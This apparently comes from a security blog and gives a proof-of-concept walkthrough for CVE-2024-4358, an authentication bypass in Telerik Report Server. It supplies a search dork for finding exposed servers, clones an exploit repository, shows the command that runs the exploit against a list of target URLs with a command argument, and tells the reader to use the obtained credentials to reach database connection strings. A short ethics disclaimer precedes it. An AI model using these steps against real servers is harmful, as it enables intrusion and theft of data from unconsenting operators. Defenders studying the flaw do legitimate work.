> For the complete documentation index, see [llms.txt](https://www.verylazytech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.verylazytech.com/vulnerabilities-and-exploits/cve-poc/telerik-auth-bypass-cve-2024-4358.md).

# Telerik Auth Bypass CVE-2024-4358

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## Telerik Report Server Authentication Bypass - CVE-2024-4358

### Overview

In Progress Telerik Report Server, version 2024 Q1 (10.0.24.305) or earlier, on IIS, an unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.

**Read about it** — [CVE-2024-4358](https://www.cve.org/CVERecord?id=CVE-2024-4358)

> **Disclaimer**: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

### Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

* **Fofa Dork**: `title="Telerik Report Server"`

<figure><img src="https://github.com/verylazytech/CVE-2024-4358/raw/main/POC1.png" alt=""><figcaption></figcaption></figure>

### Cloning the Repository

First, clone the repository:

```bash
git clone https://github.com/verylazytech/CVE-2024-4358
```

Next chose your target and add it to urls.txt file in this format:

* <https://ip\\_address>

### Run the Exploit

```bash
python3 exploit.py -l urls.txt  -c id -t 10
```

<figure><img src="https://github.com/verylazytech/CVE-2024-4358/raw/main/POC2.png" alt=""><figcaption></figcaption></figure>

And results.txt file will save in the folder. now all what you have to do is to connect to with the credentials and look for interesting connection strings to login the DB.

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<details>

<summary>Support VeryLazyTech 🎉</summary>

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* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

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